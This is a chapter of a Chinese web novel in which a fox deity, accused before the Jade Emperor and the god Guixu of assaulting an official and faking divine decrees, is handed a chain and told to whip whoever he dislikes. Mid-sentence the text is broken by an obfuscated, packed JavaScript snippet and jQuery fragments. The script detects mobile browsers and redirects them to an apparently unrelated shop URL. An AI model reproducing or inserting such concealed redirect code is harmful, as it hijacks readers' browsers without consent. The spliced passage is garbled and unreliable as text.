司微在庄园的浴室里冲洗伤口,他把所有神力都提了出来,可还是不够完全修复身体。
纯物理外伤和法器所伤的伤口不一样,玄砾那把刀怎么说也是个法器,伤口恢复起来很慢。
但到底几万的神力砸下去是见效的,他优先把手上的伤口愈合了,肩膀上还剩个三指宽的血洞。
“草!”
往柔软的大床上一躺,司微紧绷的神经终于松懈了下来。
没想到在南区豪华庄园的第一晚就满身的伤,幸亏归墟说明天再搬去主楼,不然肯定得被发现。
其实司微不是没想过杀了玄砾,但他实力太差,和玄砾过招必定会留下自身痕迹,很容易就能查到他。
如果残了伤了,最多就是一个私下斗殴,但如果死了,那性质就不一样了。
玄砾再窝囊,再煞笔,也是度支司副掌司,在神界身居要职,不管是失踪还是死了,一定会引起轩然大波。
此番下来,神界一定会发难,但玄砾到底没死,那就一定有转圜的余地。
脑子昏昏沉沉的,司微已经没有力气去想接下来的事了。
烂命一条,爱咋咋地!
他抱着自己尾巴睡着了,而九重天之上已经炸开了锅。
玄石见自己弟弟始终没回家,就去传送阵寻找,紧接着就看见了只剩一口气的人,顿时吓得三魂丢了七魄,把神界所有人都嚷了起来。
等平稳了玄砾的生命体征,玄石知道了来龙去脉,当下也不治了,直接抬着人去了凌霄宝殿。
在玉帝面前声泪俱下,还把玄砾摇醒让他自己说。
兄弟两个不顾形象,嚎啕声把凌霄宝殿的屋顶都要顶穿了,神明APP上关于此事的消息直接冲到了榜首。
不少好事的,甚至不惜耗费神力传送也要来看热闹。
大半夜的,凌霄宝殿外前所未有的热闹。
“陛下,那狐狸之前让神明APP蒙受巨大损失,我等还没有追究,如今还仗着尊神庇佑将我弟弟打成这样!”
玉帝头疼的揉了揉眉心,最近的奏折都是倒着看的,本就头晕眼花,如今被玄石一吵更头疼了。
一边是尊神身边人,一边是神界高层要职,肯定得问清楚。
“司微,为何要打你弟弟?”
玄石张口就来,“司微任命为神明APP推广官的时候,租了场地搞直播,垫付了场地费用。”
“可那是他私下决定的,我等没有同意,直播失败了,他还派他的神使过来报销,我弟弟当然不允,他竟怀恨在心将我弟弟打成重伤。”
玉帝闻言一皱眉:“你没同意他为何要垫付?”
度支司的德行玉帝其实一清二楚,但现在神界日子难过,就需要这么个手严的。
原来他可以睁一只眼闭一只眼,但现在涉及到归墟,却不能再装聋作哑了。
玄石没想到玉帝会这么问,原来玉帝从不会过问,但他丝毫不慌,“陛下,我等担心直播有风险,万一出了岔子,神界经受不起,可那狐狸一意孤行,急功近利,非要做出成绩,这才不顾我等反对。”
玉帝思索间,玄石又道:“陛下,尊神归来本是好事,可这狐狸霸道蛮横,送去的神使连尊神的面都见不到。”
“现在尊神身边不就是这狐狸的一言堂,今天他敢仗着宠爱打伤我弟弟,明天他就敢假传神谕。”
“陛下,上次尊神的神谕您不觉得奇怪吗?”
桌上堆着的全是倒立写的奏折,歪七扭八的,玉帝脸色难看了起来,“你是说那狐狸假传神谕?”
他堂堂玉帝,竟然被一只狐崽子耍的团团转?
“属下不敢妄言,但陛下,此事已不是我弟弟一人之事。”
玄石抱拳大义凛然的一跪,头磕得砰砰响,话却句句往玉帝心窝子里戳:
“陛下!尊神身边如今就这一只狐狸,他说什么便是什么!这次是假传神谕耍我们玩,下次他若假传尊神之意,要钱要权要地盘,我们给是不给?”
他猛地抬头,眼神里全是“忠君忧国”的急迫:“尊神清静,我等不敢打扰。可总不能让他司微一张嘴,就代表了尊神全部的旨意!神界必须在尊神身边有个自己人,不能让他一手遮天啊陛下!”
玉帝盯着桌上那堆倒着写的奏折,脸色彻底黑了。
他总算明白最近脖子为什么这么酸了。
“你和天罚司,”玉帝声音发沉,“先把那狐狸带回来。问清楚。”
他顿了顿,补了一句,意味深长:
“顺便看看……尊神身边,是不是真就缺不得他。”
殿外看热闹的瞬间散了,消息炸开。
天罚司的黑袍子们,朝着南区那座崭新别墅,径直去了。这回,不止是拿人。
这一折腾,天都亮了。
司微身上疼的厉害,没睡好,天刚亮就醒了。
把身上的伤口换了药,衣服刚穿好外面就吵了起来,司微神力得省着用,很少外放神识,如今更是一滴都没有了。
大概猜到什么事情,也不用浪费神力探查了,司微认命的走了出去。
大门外已经聚集了一群人,归墟皱着眉头正在客厅沙发上喝茶,司微走过去,“尊神。”
“外面的人是为我来的,尊神要不要把他们放进来?”
血眸流转,归墟目光在无精打采的小狐狸身上扫过,“让他们进来吧。”
大门一开,一群气势汹汹的黑袍人就闯了进来,为首的就是搀扶着自己弟弟的玄石,还有一些看热闹的就在大门外瞧着,不敢进来。
进来的人呼啦啦的跪了一地,幸亏这客厅够大,要不然都不够地方。
玄石还不等归墟叫起,就拉着玄砾痛哭流涕,大声控诉起来:“尊神,我等死罪,本不敢打扰尊神,可是司微他欺人太甚,竟因些许小事,将我弟弟打成重伤,我等这才来请尊神做主。”
玄砾直接脱下衣服,把特意留着没有治疗的伤口露了出来,密密麻麻的血窟窿看着都让人头皮发麻。
原本瞎了一只的眼睛虽然已经好了大半,但还是肿的像个大水泡,看的人直犯恶心。
他一边展示一边哭诉,把司微说的无恶不作、横行霸道,又诉说起自己如何的凄惨,为了神界如何的鞠躬尽瘁,却被一只狐狸欺压至此。
在场的人听的面上悲愤交加,心里却乐开了花,神界苦度支司已久。
度支司有两大不批:这也不批,那也不批。
众人心里有气没处撒,还不得不陪着笑脸奉承讨好,如今这狐狸也算是帮他们出了口恶气。
就是不知道这狐狸今天还有没有命活到明天。
玄石两兄弟哭诉了良久,见上方人没有反应,抬头一看,归墟依旧淡然的握着茶杯,眼神都没分给他们一个,司微则面无表情,像没事人一样站在那,扣着手指,还打了个哈欠。
玄石见归墟没有表示,决定使个大招,“尊神,小神斗胆一问,城门肘子是何解?”
在场的人皆是神情一滞,归墟终于有了反应,那双血眸对上玄石那张老脸,满目都是“你有病吗”的意思。
大门外的人竟然有忍不住的噗嗤笑了出来,其实神谕的热度降下来后,大家不是没怀疑过那条神谕,但没人明说过。
一是因为没人相信有人敢假传归
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16842576|191344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墟神谕。
二是因为神谕刚出来的时候,他们为了理解其中深意做过不少蠢事,如果神谕是假的不就说明承认自己是傻逼吗?
玄石顶着那道目光,硬着头皮说:“尊神,这是司微说的,说是您的亲口神谕,不光这一句,还有什么倒悬青山、铜雀胯骨、钓起一江星火。”
归墟没兴趣继续听下去,看向一旁的人,“司微。”
听见声音司微麻溜的跪下,“尊...”
“神”字还没出口,面前就被砰的一声扔了个东西,是寂灭锁链,众人被惊得屏住了呼吸,归墟连辩解的机会都不给,看来这小狐狸今天凶多吉少了。
司微盯着那熟悉的锁链,叹了口气,“神谕的事我...可昨天的事不是他们说的那样。”
“之前神明APP直播,玄石和玄砾拖着不肯给场地费用,可直播公告时间已经发了,我不得已自己垫付了,清墨去讨要,结果被玄砾打的魂魄不稳,我这才......”
不等他说完,归墟脚尖轻点寂灭锁链,语气不辨喜怒:“拿起来。”
司微心脏一沉,盯着眼前那截漆黑的链子,指尖发凉。果然……
还是要罚,在这么多人面前,为了神界的体面,或者说,为了敲打他。
可能打了玄砾对于归墟来说不是大事,但仗着他的势,假传神谕肯定是大罪。
他咬着牙,伸手去拿锁链。冰凉的触感入手,沉甸甸的,带着归墟一贯的、令人神魂颤栗的气息。
玄石等人眼中已经忍不住流露出快意。看吧,尊神再宠,也不过是只随时可以处置的畜生!
这时,门外匆匆赶来一人,一进来就和司微跪在一起,把他揽入怀中,“尊神,司微他还小,有做的不对的,我这个哥哥替他受罚。”
司微推开清源星君,“哥,我做的事我自己承担。”
清源星君却执拗的把他护在身后,看向归墟,“尊神,我替他。”
人群左右交流起眼神,清源星君不是先天神明吗?倒是有人知道他有个哥哥,但哪来的弟弟?弟弟还是只狐狸?
归墟紧盯着司微肩膀上的手,血色眼眸不辨喜怒,良久他才出声:“厌长生。”
病歪歪的美人不知道从哪冒了出来,手里捧着酒坛,拨开人群:“有事?”
“把清源星君带走。”
“不唔...”
厌长生竟然把酒坛“哐”一下扣在了清源星君头上,“咣当”一拳砸在酒坛上,然后利落弯腰,在清源星君倒地前把他拦腰扛起,一下瞬消失了。
众人目瞪狗呆,这整个过程不足两秒,厌长生动作利索的简直像惯犯,扛起比他还高大的人,脸不红,气不喘。
司微也有些惊到了,他很怀疑厌长生是蓄谋已久,为了报上次被星星砸晕的仇。
归墟脚尖点了点锁链:“拿起来。”
司微认命了,攥紧锁链,垂下眼,准备承受接下来的责罚——或许是抽打,或许是当众羞辱。
然而,归墟的下一句话,却让他猛地抬起头。
归墟依旧端着茶杯,血眸淡淡扫过地上哭嚎的玄砾,最后落回司微脸上。他的声音平静无波,甚至有些过于平淡:
“抽他。”
司微:“……?”
玄石等人:“……?!”
满场死寂。
归墟似乎嫌他们吵到了自己的眼睛,眉头几不可察地蹙了一下,又补了两个字:
“动手。”
“抽、抽谁?”司微呆愣愣的看着归墟,他没理解错吧?
归墟抬眼扫过众人。
“看谁不爽,抽谁。”